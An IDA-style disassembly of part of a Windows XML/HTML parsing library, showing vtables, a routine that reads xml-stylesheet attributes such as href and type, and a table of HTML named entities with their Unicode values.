dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B6DD27
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6DE7B
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B65760
dd offset sub_69B6860C
dd offset nullsub_3
off_69B1F680 dd offset sub_69B2D67E ; DATA XREF: sub_69B1F57B+36o
; sub_69B6974E+43o ...
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2D632
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B2F49D
dd offset sub_69B2F559
dd offset nullsub_5
dd offset sub_69B1F6C0
dd offset sub_69B69383
dd offset sub_69B6939A
; =============== S U B R O U T I N E =======================================
sub_69B1F6C0 proc near ; DATA XREF: .text:69B1EE34o
; .text:69B1F6B4o
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
push edi
lea edi, [esi+0Ch]
jz short loc_69B1F6DE
push ebx
mov ebx, eax
loc_69B1F6D1: ; CODE XREF: sub_69B1F6C0+1Bj
push edi
call sub_69B17230
add edi, 4
dec ebx
jnz short loc_69B1F6D1
pop ebx
loc_69B1F6DE: ; CODE XREF: sub_69B1F6C0+Cj
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B1F6C0 endp
; ---------------------------------------------------------------------------
align 4
off_69B1F6E8 dd offset sub_69B448B2 ; DATA XREF: sub_69B82ABA+Fo
; sub_69B83616+16o
dd offset sub_69B18E45
dd offset sub_69B19029
dd offset sub_69B82AF4
dd offset sub_69B82AF4
dd offset sub_69B82AF9
dd offset sub_69B82837
dd offset sub_69B1F708
; =============== S U B R O U T I N E =======================================
sub_69B1F708 proc near ; DATA XREF: .text:69B1F704o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
push ecx
push ecx
cmp word ptr [esp+8+arg_C], 0
jbe loc_69B1F8BD
movzx eax, word ptr [esp+8+arg_C]
push ebx
push ebp
mov ebp, [esp+10h+arg_0]
push esi
push edi
mov [esp+18h+arg_C], eax
loc_69B1F727: ; CODE XREF: sub_69B1F708+1ABj
mov eax, [esp+18h+arg_10]
mov ebx, [eax]
mov eax, [ebx+4]
push 4
pop edi
add [esp+18h+arg_10], edi
dec eax
dec eax
jz loc_69B1F888
sub eax, 0Bh
jnz loc_69B1F8AF
mov eax, [ebp+10h]
test eax, eax
jz loc_69B1F8AF
cmp [ebp+18h], edi
mov esi, ds:StrCmpNIW
jnz loc_69B1F853
push edi ; nChar
push offset aHref_0 ; "href"
push eax ; lpStr1
call esi ; StrCmpNIW
test eax, eax
jnz loc_69B1F803
mov eax, [ebp+14h]
test eax, eax
jz short loc_69B1F7EF
push eax ; BSTR
call SysStringLen
mov esi, eax
mov eax, [ebx+14h]
add eax, esi
push eax ; UINT
push 0 ; OLECHAR *
mov [esp+20h+var_8], esi
call SysAllocStringLen
test eax, eax
mov [esp+18h+var_4], eax
jz loc_69B1F8AF
lea ecx, [esi+esi]
mov esi, [ebp+14h]
mov [esp+18h+arg_0], ecx
mov edx, ecx
shr ecx, 2
mov edi, eax
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebx+14h]
mov esi, [ebx+10h]
shl ecx, 1
lea edi, [edx+eax]
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebx+14h]
add ecx, [esp+18h+var_8]
and word ptr [eax+ecx*2], 0
push dword ptr [ebp+14h] ; BSTR
call SysFreeString
mov eax, [esp+18h+var_4]
jmp short loc_69B1F7FB
; ---------------------------------------------------------------------------
loc_69B1F7EF: ; CODE XREF: sub_69B1F708+70j
push dword ptr [ebx+14h] ; UINT
push dword ptr [ebx+10h] ; OLECHAR *
call SysAllocStringLen
loc_69B1F7FB: ; CODE XREF: sub_69B1F708+E5j
mov [ebp+14h], eax
jmp loc_69B1F8AF
; ---------------------------------------------------------------------------
loc_69B1F803: ; CODE XREF: sub_69B1F708+65j
cmp [ebp+18h], edi
jnz short loc_69B1F853
push edi ; nChar
push offset aType ; "type"
push dword ptr [ebp+10h] ; lpStr1
call esi ; StrCmpNIW
test eax, eax
jnz short loc_69B1F853
cmp dword ptr [ebx+14h], 8
jnz loc_69B1F8AF
push 8 ; nChar
push offset aTextCss ; "text/css"
push dword ptr [ebx+10h] ; lpStr1
call esi ; StrCmpNIW
test eax, eax
jnz short loc_69B1F83A
mov dword ptr [ebp+1Ch], 1
jmp short loc_69B1F8AF
; ---------------------------------------------------------------------------
loc_69B1F83A: ; CODE XREF: sub_69B1F708+127j
push 8 ; nChar
push offset aTextXsl ; "text/xsl"
push dword ptr [ebx+10h] ; lpStr1
call esi ; StrCmpNIW
test eax, eax
jnz short loc_69B1F8AF
mov dword ptr [ebp+1Ch], 2
jmp short loc_69B1F8AF
; ---------------------------------------------------------------------------
loc_69B1F853: ; CODE XREF: sub_69B1F708+54j
; sub_69B1F708+FEj ...
cmp dword ptr [ebp+18h], 9
jnz short loc_69B1F8AF
push 9 ; nChar
push offset aAlternate ; "alternate"
push dword ptr [ebp+10h] ; lpStr1
call esi ; StrCmpNIW
test eax, eax
jnz short loc_69B1F8AF
cmp dword ptr [ebx+14h], 3
jnz short loc_69B1F8AF
push 3 ; nChar
push offset aYes ; "yes"
push dword ptr [ebx+10h] ; lpStr1
call esi ; StrCmpNIW
test eax, eax
jnz short loc_69B1F8AF
mov dword ptr [ebp+20h], 1
jmp short loc_69B1F8AF
; ---------------------------------------------------------------------------
loc_69B1F888: ; CODE XREF: sub_69B1F708+31j
mov eax, [ebp+10h]
test eax, eax
jz short loc_69B1F896
push eax ; BSTR
call SysFreeString
loc_69B1F896: ; CODE XREF: sub_69B1F708+185j
and dword ptr [ebp+10h], 0
push dword ptr [ebx+14h] ; UINT
push dword ptr [ebx+10h] ; OLECHAR *
call SysAllocStringLen
mov [ebp+10h], eax
mov eax, [ebx+14h]
mov [ebp+18h], eax
loc_69B1F8AF: ; CODE XREF: sub_69B1F708+3Aj
; sub_69B1F708+45j ...
dec [esp+18h+arg_C]
jnz loc_69B1F727
pop edi
pop esi
pop ebp
pop ebx
loc_69B1F8BD: ; CODE XREF: sub_69B1F708+8j
xor eax, eax
pop ecx
pop ecx
retn 14h
sub_69B1F708 endp
; ---------------------------------------------------------------------------
; const WCHAR aType
aType: ; DATA XREF: sub_69B1F708+101o
; .data:69B9223Co ...
unicode 0, <type>,0
align 10h
; const WCHAR aAlternate
aAlternate: ; DATA XREF: sub_69B1F708+153o
unicode 0, <alternate>,0
; const WCHAR aTextXsl
aTextXsl: ; DATA XREF: sub_69B1F708+134o
unicode 0, <text/xsl>,0
align 4
; const WCHAR aTextCss
aTextCss: ; DATA XREF: sub_69B1F708+11Bo
unicode 0, <text/css>,0
align 4
; const WCHAR aHref_0
aHref_0: ; DATA XREF: sub_69B1F708+5Bo
unicode 0, <href>,0
; =============== S U B R O U T I N E =======================================
sub_69B1F916 proc near ; CODE XREF: sub_69B2F3CD+40p
; sub_69B88DCD+25p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push [esp+4+arg_8]
mov esi, ecx
push [esp+8+arg_4]
call sub_69B1F97C
push [esp+4+arg_0]
lea ecx, [esi+10h]
mov dword ptr [esi], offset off_69B1F940
call sub_69B1E084
mov eax, esi
pop esi
retn 0Ch
sub_69B1F916 endp
; ---------------------------------------------------------------------------
align 10h
off_69B1F940 dd offset sub_69B2D67E ; DATA XREF: sub_69B1F916+17o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B186D4
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B2ECD4
dd offset sub_69B17D5C
dd offset sub_69B18826
dd offset sub_69B2F49D
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset nullsub_5
dd offset sub_69B2EFEC
; =============== S U B R O U T I N E =======================================
sub_69B1F97C proc near ; CODE XREF: sub_69B1F916+Bp
; sub_69B2EDFA+37p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
call sub_69B19118
mov eax, [esp+4+arg_4]
mov [esi+8], eax
mov eax, [esp+4+arg_0]
mov [esi+0Ch], eax
mov dword ptr [esi], offset off_69B1F9A0
mov eax, esi
pop esi
retn 8
sub_69B1F97C endp
; ---------------------------------------------------------------------------
align 10h
off_69B1F9A0 dd offset sub_69B2D67E ; DATA XREF: sub_69B1F97C+16o
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B18284
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B18884
dd offset sub_69B17D5C
dd offset sub_69B18826
dd offset sub_69B2F49D
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset nullsub_5
dd offset sub_69B2EFEC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1F9DC proc near ; CODE XREF: sub_69B32EF6+187p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
and [ebp+var_4], 0
push ebx
push esi
mov [ebp+var_8], 10Fh
push edi
loc_69B1F9EF: ; CODE XREF: sub_69B1F9DC+68j
mov esi, [ebp+var_8]
sub esi, [ebp+var_4]
push [ebp+arg_4]
shr esi, 1
add esi, [ebp+var_4]
push [ebp+arg_0]
lea edi, off_69B1FA58[esi*8]
mov ebx, [edi]
push ebx
call sub_69B84AC0
add esp, 0Ch
test eax, eax
jge short loc_69B1FA25
cmp [ebp+var_4], esi
jnz short loc_69B1FA20
inc [ebp+var_4]
jmp short loc_69B1FA3E
; ---------------------------------------------------------------------------
loc_69B1FA20: ; CODE XREF: sub_69B1F9DC+3Dj
mov [ebp+var_4], esi
jmp short loc_69B1FA3E
; ---------------------------------------------------------------------------
loc_69B1FA25: ; CODE XREF: sub_69B1F9DC+38j
jnz short loc_69B1FA31
mov eax, [ebp+arg_4]
cmp word ptr [ebx+eax*2], 0
jz short loc_69B1FA51
loc_69B1FA31: ; CODE XREF: sub_69B1F9DC:loc_69B1FA25j
cmp [ebp+var_8], esi
jnz short loc_69B1FA3B
dec [ebp+var_8]
jmp short loc_69B1FA3E
; ---------------------------------------------------------------------------
loc_69B1FA3B: ; CODE XREF: sub_69B1F9DC+58j
mov [ebp+var_8], esi
loc_69B1FA3E: ; CODE XREF: sub_69B1F9DC+42j
; sub_69B1F9DC+47j ...
mov eax, [ebp+var_8]
cmp [ebp+var_4], eax
jb short loc_69B1F9EF
or ax, 0FFFFh
loc_69B1FA4A: ; CODE XREF: sub_69B1F9DC+79j
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_69B1FA51: ; CODE XREF: sub_69B1F9DC+53j
mov ax, [edi+4]
jmp short loc_69B1FA4A
sub_69B1F9DC endp
; ---------------------------------------------------------------------------
align 4
off_69B1FA58 dd offset aAelig ; DATA XREF: sub_69B1F9DC+24o
; "AElig"
dd 0C6h
dd offset aAmp_2 ; "AMP"
dd 26h
dd offset aAacute ; "Aacute"
; ---------------------------------------------------------------------------
rol dword ptr [eax], 0
add [edi+ecx], ah
mov dl, 69h
retn 0
; ---------------------------------------------------------------------------
align 4
dd offset aAgrave ; "Agrave"
dd 0C0h
dd offset aAlpha ; "Alpha"
dd 391h
dd offset aAring ; "Aring"
dd 0C5h
dd offset aAtilde ; "Atilde"
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
align 4
dd offset aAuml ; "Auml"
dd 0C4h
dd offset aBeta ; "Beta"
dd 392h
dd offset aCopy ; "COPY"
dd 0A9h
dd offset aCcedil ; "Ccedil"
dd 0C7h
dd offset aChi ; "Chi"
dd 3A7h
dd offset aDagger ; "Dagger"
dd 2021h
dd offset aDelta ; "Delta"
dd 394h
dd offset aEth ; "ETH"
dd 0D0h
dd offset aEacute ; "Eacute"
dd 0C9h
dd offset aEcirc ; "Ecirc"
; ---------------------------------------------------------------------------
retf 0
; ---------------------------------------------------------------------------
align 4
dd offset aEgrave ; "Egrave"
dd 0C8h
dd offset aEpsilon ; "Epsilon"
; ---------------------------------------------------------------------------
xchg eax, ebp
add eax, [eax]
add [eax+0Eh], cl
mov dl, 69h
xchg eax, edi
add eax, [eax]
add [esi+ecx], bh
mov dl, 69h
retf
; ---------------------------------------------------------------------------
align 4
dd offset aGt_3 ; "GT"
dd 3Eh
dd offset aGamma ; "Gamma"
dd 393h
dd offset aIacute ; "Iacute"
dd 0CDh
dd offset aIcirc ; "Icirc"
dd 0CEh
dd offset aIgrave ; "Igrave"
align 10h
dd offset aIota ; "Iota"
dd 399h
dd offset aIuml ; "Iuml"
dd 0CFh
dd offset aKappa ; "Kappa"
dd 39Ah
dd offset aLt_3 ; "LT"
dd 3Ch
dd offset aLambda ; "Lambda"
dd 39Bh
dd offset aMu ; "Mu"
dd 39Ch
dd offset aNtilde ; "Ntilde"
dd 0D1h
dd offset aNu ; "Nu"
dd 39Dh
dd offset aOelig ; "OElig"
dd 152h
dd offset aOacute ; "Oacute"
dd 0D3h
dd offset aOcirc ; "Ocirc"
dd 0D4h
dd offset aOgrave ; "Ograve"
dd 0D2h
dd offset aOmega ; "Omega"
dd 3A9h
dd offset aOmicron ; "Omicron"
dd 39Fh
dd offset aOslash ; "Oslash"
dd 0D8h
dd offset aOtilde ; "Otilde"
dd 0D5h
dd offset aOuml ; "Ouml"
dd 0D6h
dd offset aPhi ; "Phi"
dd 3A6h
dd offset aPi_0 ; "Pi"
dd 3A0h
dd offset aPrime ; "Prime"
dd 2033h
dd offset aPsi ; "Psi"
dd 3A8h
dd offset aQuot_2 ; "QUOT"
dd 22h
dd offset aReg ; "REG"
dd 0AEh
dd offset aRho ; "Rho"
dd 3A1h
dd offset aScaron_0 ; "Scaron"
dd 160h
dd offset aSigma_0 ; "Sigma"
dd 3A3h
dd offset aThorn ; "THORN"
dd 0DEh
dd offset aTrade ; "TRADE"
dd 2122h
dd offset aTau ; "Tau"
dd 3A4h
dd offset aTheta ; "Theta"
dd 398h
dd offset aUacute_0 ; "Uacute"
dd 0DAh
dd offset aUcirc_0 ; "Ucirc"
dd 0DBh
dd offset aUgrave_0 ; "Ugrave"
dd 0D9h
dd offset aUpsilon_0 ; "Upsilon"
dd 3A5h
dd offset aUuml_0 ; "Uuml"
dd 0DCh
dd offset aXi ; "Xi"
dd 39Eh
dd offset aYacute ; "Yacute"
dd 0DDh
dd offset aYuml ; "Yuml"
dd 178h
dd offset aZeta ; "Zeta"
dd 396h
dd offset aAacute_0 ; "aacute"
dd 0E1h
dd offset aAafs ; "aafs"
dd 206Dh
dd offset aAcirc ; "acirc"
dd 0E2h
dd offset aAcute ; "acute"
dd 0B4h
dd offset aAelig_0 ; "aelig"
dd 0E6h
dd offset aAgrave_0 ; "agrave"
dd 0E0h
dd offset aAlefsym ; "alefsym"
dd 2135h
dd offset aAlpha_0 ; "alpha"
dd 3B1h
dd offset aAmp ; "amp"
dd 26h
dd offset aAnd_0 ; "and"
dd 2227h
dd offset aAng ; "ang"
dd 2220h
dd offset aApos ; "apos"
dd 27h
dd offset aAring_0 ; "aring"
dd 0E5h
dd offset aAss ; "ass"
dd 206Bh
dd offset aAsymp ; "asymp"
dd 2248h
dd offset aAtilde_0 ; "atilde"
dd 0E3h
dd offset aAuml_0 ; "auml"
dd 0E4h
dd offset aBdquo ; "bdquo"
dd 201Eh
dd offset aBeta_0 ; "beta"
dd 3B2h
dd offset aBrvbar ; "brvbar"
dd 0A6h
dd offset aBull ; "bull"
dd 2022h
dd offset aCap ; "cap"
dd 2229h
dd offset aCcedil_0 ; "ccedil"
dd 0E7h
dd offset aCedil ; "cedil"
dd 0B8h
dd offset aCent ; "cent"
dd 0A2h
dd offset aChi_0 ; "chi"
dd 3C7h
dd offset aCirc ; "circ"
dd 2C6h
dd offset aClubs ; "clubs"
dd 2663h
dd offset aCong ; "cong"
dd 2245h
dd offset aCopy_0 ; "copy"
dd 0A9h
dd offset aCrarr ; "crarr"
dd 21B5h
dd offset aCup ; "cup"
dd 222Ah
dd offset aCurren ; "curren"
dd 0A4h
dd offset aDarr ; "dArr"
dd 21D3h
dd offset aDagger_0 ; "dagger"
dd 2020h
dd offset aDarr_0 ; "darr"
dd 2193h
dd offset aDeg ; "deg"
dd 0B0h
dd offset aDelta_0 ; "delta"
dd 3B4h
dd offset aDiams ; "diams"
dd 2666h
dd offset aDivide ; "divide"
dd 0F7h
dd offset aEacute_0 ; "eacute"
dd 0E9h
dd offset aEcirc_0 ; "ecirc"
dd 0EAh
dd offset aEgrave_0 ; "egrave"
dd 0E8h
dd offset aEmpty_0 ; "empty"
dd 2205h
dd offset aEmsp ; "emsp"
dd 2003h
dd offset aEnsp ; "ensp"
dd 2002h
dd offset aEpsilon_0 ; "epsilon"
dd 3B5h
dd offset aEquiv ; "equiv"
dd 2261h
dd offset aEta ; "eta"
dd 3B7h
dd offset aEth_0 ; "eth"
dd 0F0h
dd offset aEuml ; "euml"
dd 0EBh
dd offset aExist ; "exist"
dd 2203h
dd offset aFnof ; "fnof"
dd 192h
dd offset aForall ; "forall"
dd 2200h
dd offset aFrac12 ; "frac12"
dd 0BDh
dd offset aFrac14 ; "frac14"
dd 0BCh
dd offset aFrac34 ; "frac34"
dd 0BEh
dd offset aFrasl ; "frasl"
dd 2044h
dd offset aGamma_0 ; "gamma"
dd 3B3h
dd offset aGe_0 ; "ge"
dd 2265h
dd offset aGt ; "gt"
dd 3Eh
dd offset aHarr ; "hArr"
dd 21D4h
dd offset aHarr_0 ; "harr"
dd 2194h
dd offset aHearts ; "hearts"
dd 2665h
dd offset aHellip ; "hellip"
dd 2026h
dd offset aIacute_0 ; "iacute"
dd 0EDh
dd offset aIafs ; "iafs"
dd 206Ch
dd offset aIcirc_0 ; "icirc"
dd 0EEh
dd offset aIexcl ; "iexcl"
dd 0A1h
dd offset aIgrave_0 ; "igrave"
dd 0ECh
dd offset aImage ; "image"
dd 2111h
dd offset aInfin ; "infin"
dd 221Eh
dd offset aInt ; "int"
dd 222Bh
dd offset aIota_0 ; "iota"
dd 3B9h
dd offset aIquest ; "iquest"
dd 0BFh
dd offset aIsin ; "isin"
dd 2208h
dd offset aIss ; "iss"
dd 206Ah
dd offset aIuml_0 ; "iuml"
dd 0EFh
dd offset aKappa_0 ; "kappa"
dd 3BAh
dd offset aLarr ; "lArr"
dd 21D0h
dd offset aLambda_0 ; "lambda"
dd 3BBh
dd offset aLang ; "lang"
dd 2329h
dd offset aLaquo ; "laquo"
dd 0ABh
dd offset aLarr_0 ; "larr"
db 90h
db 21h, 2 dup(0)
dd offset aLceil ; "lceil"
dd 2308h
dd offset aLdquo ; "ldquo"
dd 201Ch
dd offset aLe_0 ; "le"
dd 2264h
dd offset aLfloor ; "lfloor"
dd 230Ah
dd offset aLowast ; "lowast"
; ---------------------------------------------------------------------------
pop ss
and al, [eax]
add ah, dh
pop es
mov dl, 69h
retf 25h
; ---------------------------------------------------------------------------
align 4
dd offset aLre ; "lre"
dd 202Ah
dd offset aLrm ; "lrm"
dd 200Eh
dd offset aLro ; "lro"
dd 202Dh
dd offset aLsaquo ; "lsaquo"
dd 2039h
dd offset aLsquo ; "lsquo"
dd 2018h
dd offset aLt ; "lt"
dd 3Ch
dd offset aMacr ; "macr"
dd 0AFh
dd offset aMdash ; "mdash"
dd 2014h
dd offset aMicro ; "micro"
dd 0B5h
dd offset aMiddot ; "middot"
dd 0B7h
dd offset aMinus ; "minus"
dd 2212h
dd offset aMu_0 ; "mu"
dd 3BCh
dd offset aNabla ; "nabla"
dd 2207h
dd offset aNads ; "nads"
dd 206Eh
dd offset aNbsp ; "nbsp"
dd 0A0h
dd offset aNdash ; "ndash"
dd 2013h
dd offset aNe_0 ; "ne"
dd 2260h
dd offset aNi ; "ni"
dd 220Bh
dd offset aNods ; "nods"
dd 206Fh
dd offset aNot_0 ; "not"
dd 0ACh
dd offset aNotin ; "notin"
dd 2209h
dd offset aNsub ; "nsub"
dd 2284h
dd offset aNtilde_0 ; "ntilde"
dd 0F1h
dd offset aNu_0 ; "nu"
dd 3BDh
dd offset aOacute_0 ; "oacute"
dd 0F3h
dd offset aOcirc_0 ; "ocirc"
dd 0F4h
dd offset aOelig_0 ; "oelig"
dd 153h
dd offset aOgrave_0 ; "ograve"
dd 0F2h
dd offset aOline ; "oline"
dd 203Eh
dd offset aOmega_0 ; "omega"
dd 3C9h
dd offset aOmicron_0 ; "omicron"
dd 3BFh
dd offset aOplus ; "oplus"
dd 2295h
dd offset aOr_0 ; "or"
dd 2228h
dd offset aOrdf ; "ordf"
dd 0AAh
dd offset aOrdm ; "ordm"
dd 0BAh
dd offset aOslash_0 ; "oslash"
dd 0F8h
dd offset aOtilde_0 ; "otilde"
dd 0F5h
dd offset aOtimes ; "otimes"
dd 2297h
dd offset aOuml_0 ; "ouml"
dd 0F6h
dd offset aPara ; "para"
dd 0B6h
dd offset aPart ; "part"
dd 2202h
dd offset aPdf ; "pdf"
dd 202Ch
dd offset aPermil ; "permil"
dd 2030h
dd offset aPerp ; "perp"
dd 22A5h
dd offset aPhi_0 ; "phi"
dd 3C6h
dd offset aPi ; "pi"
dd 3C0h
dd offset aPiv ; "piv"
dd 3D6h
dd offset aPlusmn ; "plusmn"
dd 0B1h
dd offset aPound ; "pound"
dd 0A3h
dd offset aPrime_0 ; "prime"
dd 2032h
dd offset aProd ; "prod"
dd 220Fh
dd offset aProp ; "prop"
dd 221Dh
dd offset aPsi_0 ; "psi"
dd 3C8h
dd offset aQuot ; "quot"
dd 22h
dd offset aRarr ; "rArr"
dd 21D2h
dd offset aRadic ; "radic"
dd 221Ah
dd offset aRang ; "rang"
dd 232Ah
dd offset aRaquo ; "raquo"
dd 0BBh
dd offset aRarr_0 ; "rarr"
dd 2192h
dd offset aRceil ; "rceil"
dd 2309h
dd offset aRdquo ; "rdquo"
dd 201Dh
dd offset aReal ; "real"
dd 211Ch
dd offset aReg_0 ; "reg"
dd 0AEh
dd offset aRfloor ; "rfloor"
dd 230Bh
dd offset aRho_0 ; "rho"
dd 3C1h
dd offset aRle ; "rle"
dd 202Bh
dd offset aRlm ; "rlm"
dd 200Fh
dd offset aRlo ; "rlo"
dd 202Eh
dd offset aRsaquo ; "rsaquo"
dd 203Ah
dd offset aRsquo ; "rsquo"
dd 2019h
dd offset aSbquo ; "sbquo"
dd 201Ah
dd offset aScaron ; "scaron"
dd 161h
dd offset aSdot ; "sdot"
dd 22C5h
dd offset aSect ; "sect"
dd 0A7h
dd offset aShy ; "shy"
dd 0ADh
dd offset aSigma ; "sigma"
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 3, 2 dup(0)
dd offset aSigmaf ; "sigmaf"
; ---------------------------------------------------------------------------
retn 3
; ---------------------------------------------------------------------------
align 10h
dd offset aSim ; "sim"
dd 223Ch
dd offset aSpades ; "spades"
dd 2660h
dd offset aSub ; "sub"
dd 2282h
dd offset aSube ; "sube"
dd 2286h
dd offset aSum ; "sum"
dd 2211h
dd offset aSup ; "sup"
dd 2283h
dd offset aSup1 ; "sup1"
dd 0B9h
dd offset aSup2 ; "sup2"
dd 0B2h
dd offset aSup3 ; "sup3"
dd 0B3h
dd offset aSupe ; "supe"
dd 2287h
dd offset aSzlig ; "szlig"
dd 0DFh
dd offset aTau_0 ; "tau"
dd 3C4h
dd offset aThere4 ; "there4"
dd 2234h
dd offset aTheta_0 ; "theta"
dd 3B8h
dd offset aThetasym ; "thetasym"
dd 3D1h
dd offset aThinsp ; "thinsp"
dd 2009h
dd offset aThorn_0 ; "thorn"
dd 0FEh
dd offset aTilde ; "tilde"
dd 2DCh
dd offset aTimes ; "times"
dd 0D7h
dd offset aTrade_0 ; "trade"
dd 2122h
dd offset aUarr ; "uArr"
dd 21D1h
dd offset aUacute ; "uacute"
dd 0FAh
dd offset aUarr_0 ; "uarr"
dd 2191h
dd offset aUcirc ; "ucirc"
dd 0FBh
dd offset aUgrave ; "ugrave"
dd 0F9h
dd offset aUml ; "uml"
dd 0A8h
dd offset aUpsih ; "upsih"
dd 3D2h
dd offset aUpsilon ; "upsilon"
dd 3C5h
dd offset aUuml ; "uuml"
dd 0FCh
dd offset aWeierp ; "weierp"
dd 2118h
dd offset aXi_0 ; "xi"
dd 3BEh
dd offset aYacute_0 ; "yacute"
dd 0FDh
dd offset aYen ; "yen"
dd 0A5h
dd offset aYuml_0 ; "yuml"
dd 0FFh
dd offset aZeta_0 ; "zeta"
dd 3B6h
dd offset aZwj ; "zwj"
dd 200Dh
dd offset aZwnj ; "zwnj"
dd 200Ch
dd offset aZwsp ; "zwsp"
dd 83h
aZwsp: ; DATA XREF: .text:69B202C8o
unicode 0, <zwsp>,0
align 4
aZwnj: ; DATA XREF: .text:69B202C0o
unicode 0, <zwnj>,0
align 4
aZwj: ; DATA XREF: .text:69B202B8o
unicode 0, <zwj>,0
aZeta_0: ; DATA XREF: .text:69B202B0o
unicode 0, <zeta>,0
align 4
aYuml_0: ; DATA XREF: .text:69B202A8o
unicode 0, <yuml>,0
align 4
aYen: ; DATA XREF: .text:69B202A0o
unicode 0, <yen>,0
aYacute_0: ; DATA XREF: .text:69B20298o
unicode 0, <yacute>,0
align 10h
aXi_0: ; DATA XREF: .text:69B20290o
unicode 0, <xi>,0
align 4
aWeierp: ; DATA XREF: .text:69B20288o
unicode 0, <weierp>,0
align 4
aUuml: ; DATA XREF: .text:69B20280o
unicode 0, <uuml>,0
align 4
aUpsilon: ; DATA XREF: .text:69B20278o
unicode 0, <upsilon>,0
aUpsih: ; DATA XREF: .text:69B20270o
unicode 0, <upsih>,0
aUml: ; DATA XREF: .text:69B20268o
unicode 0, <uml>,0
aUgrave: ; DATA XREF: .text:69B20260o
unicode 0, <ugrave>,0
align 4
aUcirc: ; DATA XREF: .text:69B20258o
unicode 0, <ucirc>,0
aUarr_0: ; DATA XREF: .text:69B20250o
unicode 0, <uarr>,0
align 10h
aUacute: ; DATA XREF: .text:69B20248o
unicode 0, <uacute>,0
align 10h
aUarr: ; DATA XREF: .text:69B20240o
unicode 0, <uArr>,0
align 4
aTrade_0: ; DATA XREF: .text:69B20238o
unicode 0, <trade>,0
aTimes: ; DATA XREF: .text:69B20230o
unicode 0, <times>,0
aTilde: ; DATA XREF: .text:69B20228o
unicode 0, <tilde>,0
aThorn_0: ; DATA XREF: .text:69B20220o
unicode 0, <thorn>,0
aThinsp: ; DATA XREF: .text:69B20218o
unicode 0, <thinsp>,0
align 4
aThetasym: ; DATA XREF: .text:69B20210o
unicode 0, <thetasym>,0
align 10h
aTheta_0: ; DATA XREF: .text:69B20208o
unicode 0, <theta>,0
aThere4: ; DATA XREF: .text:69B20200o
unicode 0, <there4>,0
align 4
aTau_0: ; DATA XREF: .text:69B201F8o
unicode 0, <tau>,0
aSzlig: ; DATA XREF: .text:69B201F0o
unicode 0, <szlig>,0
aSupe: ; DATA XREF: .text:69B201E8o
unicode 0, <supe>,0
align 4
aSup3: ; DATA XREF: .text:69B201E0o
unicode 0, <sup3>,0
align 4
aSup2: ; DATA XREF: .text:69B201D8o
unicode 0, <sup2>,0
align 4
aSup1: ; DATA XREF: .text:69B201D0o
unicode 0, <sup1>,0
align 10h
aSup: ; DATA XREF: .text:69B201C8o
unicode 0, <sup>,0
aSum: ; DATA XREF: .text:69B201C0o
unicode 0, <sum>,0
aSube: ; DATA XREF: .text:69B201B8o
unicode 0, <sube>,0
align 4
aSub: ; DATA XREF: .text:69B201B0o
unicode 0, <sub>,0
aSpades: ; DATA XREF: .text:69B201A8o
unicode 0, <spades>,0
align 4
aSim: ; DATA XREF: .text:69B201A0o
unicode 0, <sim>,0
aSigmaf: ; DATA XREF: .text:69B20198o
unicode 0, <sigmaf>,0
align 4
aSigma: ; DATA XREF: .text:69B20190o
unicode 0, <sigma>,0
aShy: ; DATA XREF: .text:69B20188o
unicode 0, <shy>,0
aSect: ; DATA XREF: .text:69B20180o
unicode 0, <sect>,0
align 4
aSdot: ; DATA XREF: .text:69B20178o
unicode 0, <sdot>,0
align 4
aScaron: ; DATA XREF: .text:69B20170o
unicode 0, <scaron>,0
align 4
aSbquo: ; DATA XREF: .text:69B20168o
unicode 0, <sbquo>,0
aRsquo: ; DATA XREF: .text:69B20160o
unicode 0, <rsquo>,0
aRsaquo: ; DATA XREF: .text:69B20158o
unicode 0, <rsaquo>,0
align 10h
aRlo: ; DATA XREF: .text:69B20150o
unicode 0, <rlo>,0
aRlm: ; DATA XREF: .text:69B20148o
unicode 0, <rlm>,0
aRle: ; DATA XREF: .text:69B20140o
unicode 0, <rle>,0
aRho_0: ; DATA XREF: .text:69B20138o
unicode 0, <rho>,0
aRfloor: ; DATA XREF: .text:69B20130o
unicode 0, <rfloor>,0
align 10h
aReg_0: ; DATA XREF: .text:69B20128o
unicode 0, <reg>,0
aReal: ; DATA XREF: .text:69B20120o
unicode 0, <real>,0
align 4
aRdquo: ; DATA XREF: .text:69B20118o
unicode 0, <rdquo>,0
aRceil: ; DATA XREF: .text:69B20110o
unicode 0, <rceil>,0
aRarr_0: ; DATA XREF: .text:69B20108o
unicode 0, <rarr>,0
align 4
aRaquo: ; DATA XREF: .text:69B20100o
unicode 0, <raquo>,0
aRang: ; DATA XREF: .text:69B200F8o
unicode 0, <rang>,0
align 10h
aRadic: ; DATA XREF: .text:69B200F0o
unicode 0, <radic>,0
aRarr: ; DATA XREF: .text:69B200E8o
unicode 0, <rArr>,0
align 4
aPsi_0: ; DATA XREF: .text:69B200D8o
